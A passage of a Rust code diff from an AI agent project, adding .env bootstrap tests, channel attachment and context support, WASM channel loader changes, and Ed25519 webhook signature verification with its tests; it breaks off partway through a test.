let dir = tempdir().unwrap();
let env_path = dir.path().join(".env");
// Simulate what the wizard writes for LLM backend selection
let vars = [
("DATABASE_BACKEND", "libsql"),
("LLM_BACKEND", "openai"),
("ONBOARD_COMPLETED", "true"),
];
let mut content = String::new();
for (key, value) in &vars {
let escaped = value.replace('\\', "\\\\").replace('"', "\\\"");
content.push_str(&format!("{}=\"{}\"\n", key, escaped));
}
std::fs::write(&env_path, &content).unwrap();
// Verify dotenvy parses LLM_BACKEND correctly
let parsed: Vec<(String, String)> = dotenvy::from_path_iter(&env_path)
.unwrap()
.filter_map(|r| r.ok())
.collect();
let llm_backend = parsed.iter().find(|(k, _)| k == "LLM_BACKEND");
assert!(llm_backend.is_some(), "LLM_BACKEND must be present");
assert_eq!(
llm_backend.unwrap().1,
"openai",
"LLM_BACKEND must survive .env round-trip"
);
}
#[test]
fn test_libsql_autodetect_does_not_override_explicit_backend() {
let _guard = ENV_MUTEX.lock().unwrap();
let old_val = std::env::var("DATABASE_BACKEND").ok();
// SAFETY: ENV_MUTEX ensures single-threaded access to env vars in tests
unsafe { std::env::set_var("DATABASE_BACKEND", "postgres") };
let dir = tempdir().unwrap();
let db_path = dir.path().join("ironclaw.db");
std::fs::write(&db_path, "").unwrap();
// The guard: only sets libsql if DATABASE_BACKEND is NOT already set.
let would_override = std::env::var("DATABASE_BACKEND").is_err() && db_path.exists();
assert!(
!would_override,
"must not override an explicitly set DATABASE_BACKEND"
);
// Restore.
if let Some(val) = old_val {
// SAFETY: ENV_MUTEX ensures single-threaded access to env vars in tests
unsafe { std::env::set_var("DATABASE_BACKEND", val) };
} else {
// SAFETY: ENV_MUTEX ensures single-threaded access to env vars in tests
unsafe { std::env::remove_var("DATABASE_BACKEND") };
}
}
#[test]
fn bootstrap_env_special_chars_in_url() {
let dir = tempdir().unwrap();
let env_path = dir.path().join(".env");
// URLs with special characters that are common in database passwords
let url = "postgres://user:p%23ss@host:5432/db?sslmode=require";
let escaped = url.replace('\\', "\\\\").replace('"', "\\\"");
let content = format!("DATABASE_URL=\"{}\"\n", escaped);
std::fs::write(&env_path, &content).unwrap();
let parsed: Vec<(String, String)> = dotenvy::from_path_iter(&env_path)
.unwrap()
.filter_map(|r| r.ok())
.collect();
assert_eq!(parsed.len(), 1);
assert_eq!(parsed[0].1, url, "URL with special chars must survive");
}
#[test]
fn upsert_bootstrap_var_preserves_existing() {
let dir = tempdir().unwrap();
let env_path = dir.path().join(".env");
// Write initial content
let initial = "DATABASE_BACKEND=\"libsql\"\nONBOARD_COMPLETED=\"true\"\n";
std::fs::write(&env_path, initial).unwrap();
// Upsert a new var
let content = std::fs::read_to_string(&env_path).unwrap();
let new_line = "LLM_BACKEND=\"anthropic\"";
let mut result = content.clone();
result.push_str(new_line);
result.push('\n');
std::fs::write(&env_path, &result).unwrap();
// Parse and verify all three vars are present
let parsed: Vec<(String, String)> = dotenvy::from_path_iter(&env_path)
.unwrap()
.filter_map(|r| r.ok())
.collect();
assert_eq!(parsed.len(), 3, "should have 3 vars after upsert");
assert!(
parsed
.iter()
.any(|(k, v)| k == "DATABASE_BACKEND" && v == "libsql"),
"original DATABASE_BACKEND must be preserved"
);
assert!(
parsed
.iter()
.any(|(k, v)| k == "ONBOARD_COMPLETED" && v == "true"),
"original ONBOARD_COMPLETED must be preserved"
);
assert!(
parsed
.iter()
.any(|(k, v)| k == "LLM_BACKEND" && v == "anthropic"),
"new LLM_BACKEND must be present"
);
}
#[test]
fn bootstrap_env_all_wizard_vars_round_trip() {
let dir = tempdir().unwrap();
let env_path = dir.path().join(".env");
// Full set of vars the wizard might write
let vars = [
("DATABASE_BACKEND", "postgres"),
("DATABASE_URL", "postgres://u:p@h:5432/db"),
("LLM_BACKEND", "nearai"),
("ONBOARD_COMPLETED", "true"),
("EMBEDDING_ENABLED", "false"),
];
let mut content = String::new();
for (key, value) in &vars {
let escaped = value.replace('\\', "\\\\").replace('"', "\\\"");
content.push_str(&format!("{}=\"{}\"\n", key, escaped));
}
std::fs::write(&env_path, &content).unwrap();
let parsed: Vec<(String, String)> = dotenvy::from_path_iter(&env_path)
.unwrap()
.filter_map(|r| r.ok())
.collect();
assert_eq!(parsed.len(), vars.len(), "all vars must survive round-trip");
for (key, value) in &vars {
let found = parsed.iter().find(|(k, _)| k == key);
assert!(found.is_some(), "{key} must be present");
assert_eq!(&found.unwrap().1, value, "{key} value mismatch");
}
}
#[test]
fn test_ironclaw_base_dir_default() {
// This test must run first (or in isolation) before the LazyLock is initialized.
// It verifies that when IRONCLAW_BASE_DIR is not set, the default path is used.
let _guard = ENV_MUTEX.lock().unwrap();
let old_val = std::env::var("IRONCLAW_BASE_DIR").ok();
// SAFETY: ENV_MUTEX ensures single-threaded access to env vars in tests
unsafe { std::env::remove_var("IRONCLAW_BASE_DIR") };
// Force re-evaluation by calling the computation function directly
let path = compute_ironclaw_base_dir();
let home = dirs::home_dir().unwrap_or_else(|| std::path::PathBuf::from("."));
assert_eq!(path, home.join(".ironclaw"));
if let Some(val) = old_val {
// SAFETY: ENV_MUTEX ensures single-threaded access to env vars in tests
unsafe { std::env::set_var("IRONCLAW_BASE_DIR", val) };
}
}
#[test]
fn test_ironclaw_base_dir_env_override() {
// This test verifies that when IRONCLAW_BASE_DIR is set,
// the custom path is used. Must run before LazyLock is initialized.
let _guard = ENV_MUTEX.lock().unwrap();
let old_val = std::env::var("IRONCLAW_BASE_DIR").ok();
// SAFETY: ENV_MUTEX ensures single-threaded access to env vars in tests
unsafe { std::env::set_var("IRONCLAW_BASE_DIR", "/custom/ironclaw/path") };
// Force re-evaluation by calling the computation function directly
let path = compute_ironclaw_base_dir();
assert_eq!(path, std::path::PathBuf::from("/custom/ironclaw/path"));
if let Some(val) = old_val {
// SAFETY: ENV_MUTEX ensures single-threaded access to env vars in tests
unsafe { std::env::set_var("IRONCLAW_BASE_DIR", val) };
} else {
// SAFETY: ENV_MUTEX ensures single-threaded access to env vars in tests
unsafe { std::env::remove_var("IRONCLAW_BASE_DIR") };
}
}
#[test]
fn test_compute_base_dir_env_path_join() {
// Verifies that ironclaw_env_path correctly joins .env to the base dir.
// Uses compute_ironclaw_base_dir directly to avoid LazyLock caching.
let _guard = ENV_MUTEX.lock().unwrap();
let old_val = std::env::var("IRONCLAW_BASE_DIR").ok();
// SAFETY: ENV_MUTEX ensures single-threaded access to env vars in tests
unsafe { std::env::set_var("IRONCLAW_BASE_DIR", "/my/custom/dir") };
// Test the path construction logic directly
let base_path = compute_ironclaw_base_dir();
let env_path = base_path.join(".env");
assert_eq!(env_path, std::path::PathBuf::from("/my/custom/dir/.env"));
if let Some(val) = old_val {
// SAFETY: ENV_MUTEX ensures single-threaded access to env vars in tests
unsafe { std::env::set_var("IRONCLAW_BASE_DIR", val) };
} else {
// SAFETY: ENV_MUTEX ensures single-threaded access to env vars in tests
unsafe { std::env::remove_var("IRONCLAW_BASE_DIR") };
}
}
#[test]
fn test_ironclaw_base_dir_empty_env() {
// Verifies that empty IRONCLAW_BASE_DIR falls back to default.
let _guard = ENV_MUTEX.lock().unwrap();
let old_val = std::env::var("IRONCLAW_BASE_DIR").ok();
// SAFETY: ENV_MUTEX ensures single-threaded access to env vars in tests
unsafe { std::env::set_var("IRONCLAW_BASE_DIR", "") };
// Force re-evaluation by calling the computation function directly
let path = compute_ironclaw_base_dir();
let home = dirs::home_dir().unwrap_or_else(|| std::path::PathBuf::from("."));
assert_eq!(path, home.join(".ironclaw"));
if let Some(val) = old_val {
// SAFETY: ENV_MUTEX ensures single-threaded access to env vars in tests
unsafe { std::env::set_var("IRONCLAW_BASE_DIR", val) };
} else {
// SAFETY: ENV_MUTEX ensures single-threaded access to env vars in tests
unsafe { std::env::remove_var("IRONCLAW_BASE_DIR") };
}
}
#[test]
fn test_ironclaw_base_dir_special_chars() {
// Verifies that paths with special characters are handled correctly.
let _guard = ENV_MUTEX.lock().unwrap();
let old_val = std::env::var("IRONCLAW_BASE_DIR").ok();
// SAFETY: ENV_MUTEX ensures single-threaded access to env vars in tests
unsafe { std::env::set_var("IRONCLAW_BASE_DIR", "/tmp/test_with-special.chars") };
// Force re-evaluation by calling the computation function directly
let path = compute_ironclaw_base_dir();
assert_eq!(
path,
std::path::PathBuf::from("/tmp/test_with-special.chars")
);
if let Some(val) = old_val {
// SAFETY: ENV_MUTEX ensures single-threaded access to env vars in tests
unsafe { std::env::set_var("IRONCLAW_BASE_DIR", val) };
} else {
// SAFETY: ENV_MUTEX ensures single-threaded access to env vars in tests
unsafe { std::env::remove_var("IRONCLAW_BASE_DIR") };
}
}
}
+20
View File
@@ -1,5 +1,6 @@
//! Channel trait and message types.
use std::collections::HashMap;
use std::pin::Pin;
use async_trait::async_trait;
@@ -78,6 +79,8 @@ pub struct OutgoingResponse {
pub content: String,
/// Optional thread ID to reply in.
pub thread_id: Option<String>,
/// Optional file paths to attach.
pub attachments: Vec<String>,
/// Channel-specific metadata for the response.
pub metadata: serde_json::Value,
}
@@ -88,6 +91,7 @@ impl OutgoingResponse {
Self {
content: content.into(),
thread_id: None,
attachments: Vec::new(),
metadata: serde_json::Value::Null,
}
}
@@ -97,6 +101,12 @@ impl OutgoingResponse {
self.thread_id = Some(thread_id.into());
self
}
/// Add attachments to the response.
pub fn with_attachments(mut self, paths: Vec<String>) -> Self {
self.attachments = paths;
self
}
}
/// Status update types for showing agent activity.
@@ -198,6 +208,16 @@ pub trait Channel: Send + Sync {
/// Check if the channel is healthy.
async fn health_check(&self) -> Result<(), ChannelError>;
/// Get conversation context from message metadata for system prompt.
///
/// Returns key-value pairs like "sender", "sender_uuid", "group" that
/// help the LLM understand who it's talking to.
///
/// Default implementation returns empty map.
fn conversation_context(&self, _metadata: &serde_json::Value) -> HashMap<String, String> {
HashMap::new()
}
/// Gracefully shut down the channel.
async fn shutdown(&self) -> Result<(), ChannelError> {
Ok(())
+14 -3
View File
@@ -14,7 +14,7 @@ use crate::error::ChannelError;
/// Includes an injection channel so background tasks (e.g., job monitors) can
/// push messages into the agent loop without being a full `Channel` impl.
pub struct ChannelManager {
channels: Arc<RwLock<HashMap<String, Box<dyn Channel>>>>,
channels: Arc<RwLock<HashMap<String, Arc<dyn Channel>>>>,
inject_tx: mpsc::Sender<IncomingMessage>,
/// Taken once in `start_all()` and merged into the stream.
inject_rx: tokio::sync::Mutex<Option<mpsc::Receiver<IncomingMessage>>>,
@@ -42,7 +42,10 @@ impl ChannelManager {
/// Add a channel to the manager.
pub async fn add(&self, channel: Box<dyn Channel>) {
let name = channel.name().to_string();
self.channels.write().await.insert(name.clone(), channel);
self.channels
.write()
.await
.insert(name.clone(), Arc::from(channel));
tracing::debug!("Added channel: {}", name);
}
@@ -56,7 +59,10 @@ impl ChannelManager {
let stream = channel.start().await?;
// Register for respond/broadcast/send_status
self.channels.write().await.insert(name.clone(), channel);
self.channels
.write()
.await
.insert(name.clone(), Arc::from(channel));
// Forward stream messages through inject_tx
let tx = self.inject_tx.clone();
@@ -217,6 +223,11 @@ impl ChannelManager {
pub async fn channel_names(&self) -> Vec<String> {
self.channels.read().await.keys().cloned().collect()
}
/// Get a channel by name.
pub async fn get_channel(&self, name: &str) -> Option<Arc<dyn Channel>> {
self.channels.read().await.get(name).cloned()
}
}
impl Default for ChannelManager {
+2
View File
@@ -31,6 +31,7 @@ mod channel;
mod http;
mod manager;
mod repl;
mod signal;
pub mod wasm;
pub mod web;
mod webhook_server;
@@ -39,5 +40,6 @@ pub use channel::{Channel, IncomingMessage, MessageStream, OutgoingResponse, Sta
pub use http::HttpChannel;
pub use manager::ChannelManager;
pub use repl::ReplChannel;
pub use signal::SignalChannel;
pub use web::GatewayChannel;
pub use webhook_server::{WebhookServer, WebhookServerConfig};
+2 -4
View File
@@ -38,6 +38,7 @@ use tokio::sync::mpsc;
use tokio_stream::wrappers::ReceiverStream;
use crate::agent::truncate_for_preview;
use crate::bootstrap::ironclaw_base_dir;
use crate::channels::{Channel, IncomingMessage, MessageStream, OutgoingResponse, StatusUpdate};
use crate::error::ChannelError;
@@ -279,10 +280,7 @@ fn print_help() {
/// Get the history file path (~/.ironclaw/history).
fn history_path() -> std::path::PathBuf {
dirs::home_dir()
.unwrap_or_else(|| std::path::PathBuf::from("."))
.join(".ironclaw")
.join("history")
ironclaw_base_dir().join("history")
}
#[async_trait]
File diff suppressed because it is too large Load Diff
+166
View File
@@ -594,4 +594,170 @@ mod tests {
Some("200".to_string())
);
}
// === QA Plan P2 - 2.3: WASM channel lifecycle tests ===
#[test]
fn test_workspace_write_then_read_round_trip() {
// Full lifecycle: write in one "callback", commit, then read in a
// subsequent "callback" using the same store as the workspace reader.
use crate::channels::wasm::host::ChannelWorkspaceStore;
use crate::tools::wasm::{WorkspaceCapability, WorkspaceReader};
use std::sync::Arc;
let store = Arc::new(ChannelWorkspaceStore::new());
// --- Callback 1: write workspace data ---
let caps = ChannelCapabilities::for_channel("telegram");
let mut state = ChannelHostState::new("telegram", caps);
state
.workspace_write("offset", "12345".to_string())
.unwrap();
state
.workspace_write("state.json", r#"{"ok":true}"#.to_string())
.unwrap();
let writes = state.take_pending_writes();
assert_eq!(writes.len(), 2);
store.commit_writes(&writes);
// --- Callback 2: read back the data written in callback 1 ---
// Build capabilities with the store as the workspace reader.
let mut caps2 = ChannelCapabilities::for_channel("telegram");
caps2.tool_capabilities.workspace_read = Some(WorkspaceCapability {
allowed_prefixes: vec![], // empty = all paths allowed
reader: Some(Arc::clone(&store) as Arc<dyn WorkspaceReader>),
});
let state2 = ChannelHostState::new("telegram", caps2);
// workspace_read prefixes path with "channels/telegram/" before delegating.
let offset = state2.workspace_read("offset").unwrap();
assert_eq!(offset, Some("12345".to_string()));
let json = state2.workspace_read("state.json").unwrap();
assert_eq!(json, Some(r#"{"ok":true}"#.to_string()));
// Non-existent key returns None.
let missing = state2.workspace_read("no_such_key").unwrap();
assert!(missing.is_none());
}
#[test]
fn test_workspace_overwrite_across_callbacks() {
// Verify that a second write to the same key overwrites the first.
use crate::channels::wasm::host::ChannelWorkspaceStore;
use crate::tools::wasm::{WorkspaceCapability, WorkspaceReader};
use std::sync::Arc;
let store = Arc::new(ChannelWorkspaceStore::new());
// Callback 1: write initial value.
let caps = ChannelCapabilities::for_channel("slack");
let mut state = ChannelHostState::new("slack", caps);
state.workspace_write("cursor", "100".to_string()).unwrap();
let writes = state.take_pending_writes();
store.commit_writes(&writes);
// Callback 2: overwrite the same key.
let caps2 = ChannelCapabilities::for_channel("slack");
let mut state2 = ChannelHostState::new("slack", caps2);
state2.workspace_write("cursor", "200".to_string()).unwrap();
let writes2 = state2.take_pending_writes();
store.commit_writes(&writes2);
// Callback 3: read back -- should see the overwritten value.
let mut caps3 = ChannelCapabilities::for_channel("slack");
caps3.tool_capabilities.workspace_read = Some(WorkspaceCapability {
allowed_prefixes: vec![],
reader: Some(Arc::clone(&store) as Arc<dyn WorkspaceReader>),
});
let state3 = ChannelHostState::new("slack", caps3);
let value = state3.workspace_read("cursor").unwrap();
assert_eq!(value, Some("200".to_string()));
}
#[test]
fn test_emit_and_take_preserves_order_and_content() {
// Emit multiple messages, take them, verify order and content.
let caps = ChannelCapabilities::for_channel("discord");
let mut state = ChannelHostState::new("discord", caps);
let messages_data = vec![
("user-a", "Hello from A"),
("user-b", "Hello from B"),
("user-a", "Follow-up from A"),
];
for (uid, content) in &messages_data {
state
.emit_message(EmittedMessage::new(*uid, *content))
.unwrap();
}
assert_eq!(state.emitted_count(), 3);
let taken = state.take_emitted_messages();
assert_eq!(taken.len(), 3);
// Order preserved.
for (i, (uid, content)) in messages_data.iter().enumerate() {
assert_eq!(taken[i].user_id, *uid);
assert_eq!(taken[i].content, *content);
}
// Take empties the queue.
assert_eq!(state.emitted_count(), 0);
let taken2 = state.take_emitted_messages();
assert!(taken2.is_empty());
}
#[test]
fn test_channels_have_isolated_namespaces() {
// Two channels writing to the same relative path should not collide.
use crate::channels::wasm::host::ChannelWorkspaceStore;
use crate::tools::wasm::{WorkspaceCapability, WorkspaceReader};
use std::sync::Arc;
let store = Arc::new(ChannelWorkspaceStore::new());
// Telegram writes "offset" = "100".
let caps_tg = ChannelCapabilities::for_channel("telegram");
let mut state_tg = ChannelHostState::new("telegram", caps_tg);
state_tg
.workspace_write("offset", "100".to_string())
.unwrap();
store.commit_writes(&state_tg.take_pending_writes());
// Slack writes "offset" = "200".
let caps_sl = ChannelCapabilities::for_channel("slack");
let mut state_sl = ChannelHostState::new("slack", caps_sl);
state_sl
.workspace_write("offset", "200".to_string())
.unwrap();
store.commit_writes(&state_sl.take_pending_writes());
// Reading back: each channel sees its own value.
let mut caps_tg_read = ChannelCapabilities::for_channel("telegram");
caps_tg_read.tool_capabilities.workspace_read = Some(WorkspaceCapability {
allowed_prefixes: vec![],
reader: Some(Arc::clone(&store) as Arc<dyn WorkspaceReader>),
});
let tg_reader = ChannelHostState::new("telegram", caps_tg_read);
assert_eq!(
tg_reader.workspace_read("offset").unwrap(),
Some("100".to_string())
);
let mut caps_sl_read = ChannelCapabilities::for_channel("slack");
caps_sl_read.tool_capabilities.workspace_read = Some(WorkspaceCapability {
allowed_prefixes: vec![],
reader: Some(Arc::clone(&store) as Arc<dyn WorkspaceReader>),
});
let sl_reader = ChannelHostState::new("slack", caps_sl_read);
assert_eq!(
sl_reader.workspace_read("offset").unwrap(),
Some("200".to_string())
);
}
}
+31 -6
View File
@@ -11,25 +11,33 @@ use std::sync::Arc;
use tokio::fs;
use crate::bootstrap::ironclaw_base_dir;
use crate::channels::wasm::capabilities::ChannelCapabilities;
use crate::channels::wasm::error::WasmChannelError;
use crate::channels::wasm::runtime::WasmChannelRuntime;
use crate::channels::wasm::schema::ChannelCapabilitiesFile;
use crate::channels::wasm::wrapper::WasmChannel;
use crate::db::SettingsStore;
use crate::pairing::PairingStore;
/// Loads WASM channels from the filesystem.
pub struct WasmChannelLoader {
runtime: Arc<WasmChannelRuntime>,
pairing_store: Arc<PairingStore>,
settings_store: Option<Arc<dyn SettingsStore>>,
}
impl WasmChannelLoader {
/// Create a new loader with the given runtime and pairing store.
pub fn new(runtime: Arc<WasmChannelRuntime>, pairing_store: Arc<PairingStore>) -> Self {
pub fn new(
runtime: Arc<WasmChannelRuntime>,
pairing_store: Arc<PairingStore>,
settings_store: Option<Arc<dyn SettingsStore>>,
) -> Self {
Self {
runtime,
pairing_store,
settings_store,
}
}
@@ -125,6 +133,7 @@ impl WasmChannelLoader {
capabilities,
config_json,
self.pairing_store.clone(),
self.settings_store.clone(),
);
tracing::info!(
@@ -248,6 +257,13 @@ impl LoadedChannel {
.and_then(|f| f.webhook_secret_header())
}
/// Get the signature verification key secret name from capabilities.
pub fn signature_key_secret_name(&self) -> Option<String> {
self.capabilities_file
.as_ref()
.and_then(|f| f.signature_key_secret_name().map(|s| s.to_string()))
}
/// Get the webhook secret name from capabilities.
pub fn webhook_secret_name(&self) -> String {
self.capabilities_file
@@ -349,10 +365,7 @@ pub struct DiscoveredChannel {
/// Returns ~/.ironclaw/channels/
#[allow(dead_code)]
pub fn default_channels_dir() -> PathBuf {
dirs::home_dir()
.unwrap_or_else(|| PathBuf::from("."))
.join(".ironclaw")
.join("channels")
ironclaw_base_dir().join("channels")
}
#[cfg(test)]
@@ -416,11 +429,23 @@ mod tests {
assert!(channels.contains_key("channel"));
}
#[test]
fn test_loaded_channel_signature_key_none_without_caps() {
// We can't easily construct a WasmChannel without a runtime, so test
// the delegation logic directly: when capabilities_file is None, the
// chain returns None (same logic as LoadedChannel::signature_key_secret_name).
let cap_file: Option<crate::channels::wasm::schema::ChannelCapabilitiesFile> = None;
let result = cap_file
.as_ref()
.and_then(|f| f.signature_key_secret_name().map(|s| s.to_string()));
assert_eq!(result, None);
}
#[tokio::test]
async fn test_loader_invalid_name() {
let config = WasmChannelRuntimeConfig::for_testing();
let runtime = Arc::new(WasmChannelRuntime::new(config).unwrap());
let loader = WasmChannelLoader::new(runtime, Arc::new(PairingStore::new()));
let loader = WasmChannelLoader::new(runtime, Arc::new(PairingStore::new()), None);
let dir = TempDir::new().unwrap();
let wasm_path = dir.path().join("test.wasm");
+1
View File
@@ -86,6 +86,7 @@ mod loader;
mod router;
mod runtime;
mod schema;
pub(crate) mod signature;
mod wrapper;
// Core types
+519
View File
@@ -42,6 +42,8 @@ pub struct WasmChannelRouter {
secrets: RwLock<HashMap<String, String>>,
/// Webhook secret header names by channel name (e.g., "X-Telegram-Bot-Api-Secret-Token").
secret_headers: RwLock<HashMap<String, String>>,
/// Ed25519 public keys for signature verification by channel name (hex-encoded).
signature_keys: RwLock<HashMap<String, String>>,
}
impl WasmChannelRouter {
@@ -52,6 +54,7 @@ impl WasmChannelRouter {
path_to_channel: RwLock::new(HashMap::new()),
secrets: RwLock::new(HashMap::new()),
secret_headers: RwLock::new(HashMap::new()),
signature_keys: RwLock::new(HashMap::new()),
}
}
@@ -130,6 +133,7 @@ impl WasmChannelRouter {
self.channels.write().await.remove(channel_name);
self.secrets.write().await.remove(channel_name);
self.secret_headers.write().await.remove(channel_name);
self.signature_keys.write().await.remove(channel_name);
// Remove all paths for this channel
self.path_to_channel
@@ -174,6 +178,36 @@ impl WasmChannelRouter {
pub async fn list_paths(&self) -> Vec<String> {
self.path_to_channel.read().await.keys().cloned().collect()
}
/// Register an Ed25519 public key for signature verification.
///
/// Validates that the key is valid hex encoding of a 32-byte Ed25519 public key.
/// Channels with a registered key will have Discord-style Ed25519
/// signature validation performed before forwarding to WASM.
pub async fn register_signature_key(
&self,
channel_name: &str,
public_key_hex: &str,
) -> Result<(), String> {
use ed25519_dalek::VerifyingKey;
let key_bytes = hex::decode(public_key_hex).map_err(|e| format!("invalid hex: {e}"))?;
VerifyingKey::try_from(key_bytes.as_slice())
.map_err(|e| format!("invalid Ed25519 public key: {e}"))?;
self.signature_keys
.write()
.await
.insert(channel_name.to_string(), public_key_hex.to_string());
Ok(())
}
/// Get the signature verification key for a channel.
///
/// Returns `None` if no key is registered (no signature check needed).
pub async fn get_signature_key(&self, channel_name: &str) -> Option<String> {
self.signature_keys.read().await.get(channel_name).cloned()
}
}
impl Default for WasmChannelRouter {
@@ -342,6 +376,57 @@ async fn webhook_handler(
}
}
// Ed25519 signature verification (Discord-style)
if let Some(pub_key_hex) = state.router.get_signature_key(channel_name).await {
let sig_hex = headers
.get("x-signature-ed25519")
.and_then(|v| v.to_str().ok());
let timestamp = headers
.get("x-signature-timestamp")
.and_then(|v| v.to_str().ok());
match (sig_hex, timestamp) {
(Some(sig), Some(ts)) => {
let now_secs = std::time::SystemTime::now()
.duration_since(std::time::UNIX_EPOCH)
.unwrap_or_default()
.as_secs() as i64;
if !crate::channels::wasm::signature::verify_discord_signature(
&pub_key_hex,
sig,
ts,
&body,
now_secs,
) {
tracing::warn!(
channel = %channel_name,
"Ed25519 signature verification failed"
);
return (
StatusCode::UNAUTHORIZED,
Json(serde_json::json!({
"error": "Invalid signature"
})),
);
}
tracing::debug!(channel = %channel_name, "Ed25519 signature verified");
}
_ => {
tracing::warn!(
channel = %channel_name,
"Signature headers missing but key is registered"
);
return (
StatusCode::UNAUTHORIZED,
Json(serde_json::json!({
"error": "Missing signature headers"
})),
);
}
}
}
// Convert headers to HashMap
let headers_map: HashMap<String, String> = headers
.iter()
@@ -516,6 +601,7 @@ mod tests {
capabilities,
"{}".to_string(),
Arc::new(PairingStore::new()),
None,
))
}
@@ -644,4 +730,437 @@ mod tests {
.await;
assert_eq!(router.get_secret_header("slack").await, "X-Webhook-Secret");
}
// ── Category 3: Router Signature Key Management ─────────────────────
#[tokio::test]
async fn test_register_and_get_signature_key() {
let router = WasmChannelRouter::new();
let channel = create_test_channel("discord");
router.register(channel, vec![], None, None).await;
let fake_pub_key = "a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0c1d2e3f4a5b6c7d8e9f0a1b2";
router
.register_signature_key("discord", fake_pub_key)
.await
.unwrap();
let key = router.get_signature_key("discord").await;
assert_eq!(key, Some(fake_pub_key.to_string()));
}
#[tokio::test]
async fn test_no_signature_key_returns_none() {
let router = WasmChannelRouter::new();
let channel = create_test_channel("slack");
router.register(channel, vec![], None, None).await;
// Slack has no signature key registered
let key = router.get_signature_key("slack").await;
assert!(key.is_none());
}
#[tokio::test]
async fn test_unregister_removes_signature_key() {
let router = WasmChannelRouter::new();
let channel = create_test_channel("discord");
let endpoints = vec![RegisteredEndpoint {
channel_name: "discord".to_string(),
path: "/webhook/discord".to_string(),
methods: vec!["POST".to_string()],
require_secret: false,
}];
router.register(channel, endpoints, None, None).await;
// Use a valid 32-byte Ed25519 key for this test
let valid_key = "d75a980182b10ab7d54bfed3c964073a0ee172f3daa3f4a18446b7e8c7ac6602";
router
.register_signature_key("discord", valid_key)
.await
.unwrap();
// Key should exist
assert!(router.get_signature_key("discord").await.is_some());
// Unregister
router.unregister("discord").await;
// Key should be gone
assert!(router.get_signature_key("discord").await.is_none());
}
// ── Key Validation Tests ──────────────────────────────────────────
#[tokio::test]
async fn test_register_valid_signature_key_succeeds() {
let router = WasmChannelRouter::new();
let channel = create_test_channel("discord");
router.register(channel, vec![], None, None).await;
// Valid 32-byte Ed25519 public key (from test keypair)
let valid_key = "d75a980182b10ab7d54bfed3c964073a0ee172f3daa3f4a18446b7e8c7ac6602";
let result = router.register_signature_key("discord", valid_key).await;
assert!(result.is_ok(), "Valid Ed25519 key should be accepted");
}
#[tokio::test]
async fn test_register_invalid_hex_key_fails() {
let router = WasmChannelRouter::new();
let channel = create_test_channel("discord");
router.register(channel, vec![], None, None).await;
let result = router
.register_signature_key("discord", "not-valid-hex-zzz")
.await;
assert!(result.is_err(), "Invalid hex should be rejected");
}
#[tokio::test]
async fn test_register_wrong_length_key_fails() {
let router = WasmChannelRouter::new();
let channel = create_test_channel("discord");
router.register(channel, vec![], None, None).await;
// 16 bytes instead of 32
let short_key = hex::encode([0u8; 16]);
let result = router.register_signature_key("discord", &short_key).await;
assert!(result.is_err(), "Wrong-length key should be rejected");
}
#[tokio::test]
async fn test_register_empty_key_fails() {
let router = WasmChannelRouter::new();
let channel = create_test_channel("discord");
router.register(channel, vec![], None, None).await;
let result = router.register_signature_key("discord", "").await;
assert!(result.is_err(), "Empty key should be rejected");
}
#[tokio::test]
async fn test_valid_key_is_retrievable() {
let router = WasmChannelRouter::new();
let channel = create_test_channel("discord");
router.register(channel, vec![], None, None).await;
let valid_key = "d75a980182b10ab7d54bfed3c964073a0ee172f3daa3f4a18446b7e8c7ac6602";
router
.register_signature_key("discord", valid_key)
.await
.unwrap();
let stored = router.get_signature_key("discord").await;
assert_eq!(stored, Some(valid_key.to_string()));
}
#[tokio::test]
async fn test_invalid_key_does_not_store() {
let router = WasmChannelRouter::new();
let channel = create_test_channel("discord");
router.register(channel, vec![], None, None).await;
// Attempt to register invalid key
let _ = router
.register_signature_key("discord", "not-valid-hex")
.await;
// Should not have stored anything
let stored = router.get_signature_key("discord").await;
assert!(stored.is_none(), "Invalid key should not be stored");
}
// ── Webhook Handler Integration Tests ─────────────────────────────
use axum::Router as AxumRouter;
use axum::body::Body;
use axum::http::{Request, StatusCode};
use tower::ServiceExt;
use crate::channels::wasm::router::create_wasm_channel_router;
use ed25519_dalek::{Signer, SigningKey};
/// Helper to create a router with a registered channel at /webhook/discord.
async fn setup_discord_router() -> (Arc<WasmChannelRouter>, AxumRouter) {
let wasm_router = Arc::new(WasmChannelRouter::new());
let channel = create_test_channel("discord");
let endpoints = vec![RegisteredEndpoint {
channel_name: "discord".to_string(),
path: "/webhook/discord".to_string(),
methods: vec!["POST".to_string()],
require_secret: false,
}];
wasm_router.register(channel, endpoints, None, None).await;
let app = create_wasm_channel_router(wasm_router.clone(), None);
(wasm_router, app)
}
/// Helper: generate a test keypair.
fn test_signing_key() -> SigningKey {
SigningKey::from_bytes(&[
0x9d, 0x61, 0xb1, 0x9d, 0xef, 0xfd, 0x5a, 0x60, 0xba, 0x84, 0x4a, 0xf4, 0x92, 0xec,
0x2c, 0xc4, 0x44, 0x49, 0xc5, 0x69, 0x7b, 0x32, 0x69, 0x19, 0x70, 0x3b, 0xac, 0x03,
0x1c, 0xae, 0x7f, 0x60,
])
}
#[tokio::test]
async fn test_webhook_rejects_missing_sig_headers() {
let (wasm_router, app) = setup_discord_router().await;
// Register a signature key
let signing_key = test_signing_key();
let pub_key_hex = hex::encode(signing_key.verifying_key().to_bytes());
wasm_router
.register_signature_key("discord", &pub_key_hex)
.await
.unwrap();
// Send request without signature headers
let req = Request::builder()
.method("POST")
.uri("/webhook/discord")
.header("content-type", "application/json")
.body(Body::from(r#"{"type":1}"#))
.unwrap();
let resp = app.oneshot(req).await.unwrap();
assert_eq!(
resp.status(),
StatusCode::UNAUTHORIZED,
"Missing signature headers should return 401"
);
}
#[tokio::test]
async fn test_webhook_rejects_invalid_signature() {
let (wasm_router, app) = setup_discord_router().await;
let signing_key = test_signing_key();
let pub_key_hex = hex::encode(signing_key.verifying_key().to_bytes());
wasm_router
.register_signature_key("discord", &pub_key_hex)
.await
.unwrap();
let req = Request::builder()
.method("POST")
.uri("/webhook/discord")
.header("content-type", "application/json")
.header("x-signature-ed25519", "deadbeefdeadbeef")
.header("x-signature-timestamp", "1234567890")
.body(Body::from(r#"{"type":1}"#))
.unwrap();
let resp = app.oneshot(req).await.unwrap();
assert_eq!(
resp.status(),
StatusCode::UNAUTHORIZED,
"Invalid signature should return 401"
);
}
#[tokio::test]
async fn test_webhook_accepts_valid_signature() {
let (wasm_router, app) = setup_discord_router().await;
let signing_key = test_signing_key();
let pub_key_hex = hex::encode(signing_key.verifying_key().to_bytes());
wasm_router
.register_signature_key("discord", &pub_key_hex)
.await
.unwrap();
// Use current timestamp so staleness check passes
